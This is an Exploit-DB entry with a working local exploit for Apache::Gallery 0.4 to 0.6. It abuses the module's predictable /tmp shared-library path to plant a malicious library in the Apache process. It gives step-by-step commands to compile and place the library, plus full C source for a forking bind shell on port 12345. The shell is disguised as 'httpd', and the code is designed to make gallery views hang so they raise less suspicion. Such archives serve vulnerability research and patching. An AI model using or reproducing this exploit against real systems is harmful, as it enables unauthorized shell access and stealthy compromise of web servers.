Exploit-DB #23119
Description: Apache::Gallery 0.4/0.5/0.6 - Insecure File Storage Privilege Escalation
Type: local
Platform: linux
Date: 2003-09-09
Author: Jon Hart

Exploit:
// source: https://www.securityfocus.com/bid/8561/info

It has been discovered that Apache::Gallery, when using Inline C, stores shared libraries in an insecure fashion. As a result, an attacker may be capable of having malicious code linked into the Apache process. This could lead to a malicious local user gaining the privileges of the user invoking the Apache process, typically user nobody. It should be noted that for a successful exploitation, the libraries must be replaced prior to the Apache process being invoked. 

/**
 * Gallery_4033.c .  Local webserver compromise.
 *
 * Written by:
 * 
 * Jon Hart <warchild@spoofed.org>
 *
 * Apache::Gallery improperly uses Inline::C and creates 
 * runtime shared libraries in a predictable, world-writable
 * directory, namely /tmp.  This is because of the call to 
 * File::Spec->tmpdir() almost always returns /tmp.
 *
 * In my setup, the shared libraries are _always_ in:
 *
 * /tmp/lib/auto/Apache/Gallery_4033
 *
 * First, get the .inl and .bs files from the above directory (or 
 * whatever directory).  You'll need them later.
 *
 * Next, somehow get that directory cleared.  This is usually done
 * at reboot on many UNIX operating systems, so unless you are feeling 
 * overly creative, you'll have to wait 'til then.
 *
 * Create the appropriate directory:
 *
 * 	mkdir -p	/tmp/lib/auto/Apache/Gallery_4033
 *
 * Compile this as a shared library:
 *
 * 	`gcc -shared -fPIC -o /tmp/lib/auto/Apache/Gallery_4033/Gallery_4033.so Gallery_4033.c`
 *
 * Strip it:
 * 	`strip /tmp/lib/auto/Apache/Gallery_4033/Gallery_4033.so`
 *
 * And copy in the .inl and .bs files you stole earlier.
 *
 * And wait for someone to view the gallery.  Or do it yourself.  
 * You'll now have a nice shell listening on port 12345.  Should compile
 * and run on linux, *bsd and Solaris.
 *
 * $  nc localhost 12345    
 * id;
 * uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
 *
 *
 * Copyright (c) 2003, Jon Hart 
 * All rights reserved.
 *
 *  Redistribution and use in source and binary forms, with or without modification, 
 *  are permitted provided that the following conditions are met:
 *
 *  * Redistributions of source code must retain the above copyright notice, 
 *    this list of conditions and the following disclaimer.
 *  * Redistributions in binary form must reproduce the above copyright notice, 
 *    this list of conditions and the following disclaimer in the documentation 
 *    and/or other materials provided with the distribution.
 *  * Neither the name of the organization nor the names of its contributors may
 *    be used to endorse or promote products derived from this software without 
 *    specific prior written permission.
 *
 *
 *  THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" 
 *  AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 
 *  IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE 
 *  ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE 
 *  LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL 
 *  DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 
 *  SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER 
 *  CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, 
 *  OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE 
 *  USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 */


#define PORT 12345
#include <stdio.h>
#include <signal.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <stdlib.h>

/** these are the only two functions that
 * A::G is expecting, so make it happy and provide
 * them.  Receiving and returning void (instead of actually 
 * following the function specs) seems to be more practical
 * because views to the gallery will just hang instead of flop,
 * thereby not raising as much suspicion.
 */
void resizepicture(void) {
	bindshell();
	exit(EXIT_SUCCESS);
}

void boot_Apache__Gallery_4033(void) {
	bindshell();
	exit(EXIT_SUCCESS);
}

/* Bind /bin/sh to PORT.  It forks
 * and all that good stuff, so it won't 
 * easily go away.
 */
int bindshell() {

	int sock_des, sock_client, sock_recv, sock_len, server_pid, client_pid;
	struct sockaddr_in server_addr; 
	struct sockaddr_in client_addr;

	if ((sock_des = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1)
		exit(EXIT_FAILURE); 

	bzero((char *) &server_addr, sizeof(server_addr));
	server_addr.sin_family = AF_INET; 
	server_addr.sin_addr.s_addr = htonl(INADDR_ANY);
	server_addr.sin_port = htons(PORT);

	if ((sock_recv = bind(sock_des, (struct sockaddr *) &server_addr, sizeof(server_addr))) != 0) 
		exit(EXIT_FAILURE); 
	if (fork() != 0) 
		exit(EXIT_SUCCESS); 
	setpgrp();  
	signal(SIGHUP, SIG_IGN); 
	if (fork() != 0) 
		exit(EXIT_SUCCESS); 
	if ((sock_recv = listen(sock_des, 5)) != 0)
		exit(EXIT_SUCCESS); 
	while (1) { 
		sock_len = sizeof(client_addr);
		if ((sock_client = accept(sock_des, (struct sockaddr *) &client_addr, &sock_len)) < 0)
			exit(EXIT_SUCCESS); 
		client_pid = getpid(); 
		server_pid = fork(); 
		if (server_pid != 0) { 
			dup2(sock_client,0); 
			dup2(sock_client,1); 
			dup2(sock_client,2);

			/* Start the shell, but call
			 * it 'httpd'.  Actually, this seems to get
			 * overwritten with the name of the parent process
			 * anyway.  w00t.
			 */
			execl("/bin/sh","httpd",(char *)0); 
			close(sock_client); 
			exit(EXIT_SUCCESS); 
		} 
		close(sock_client);
	}
}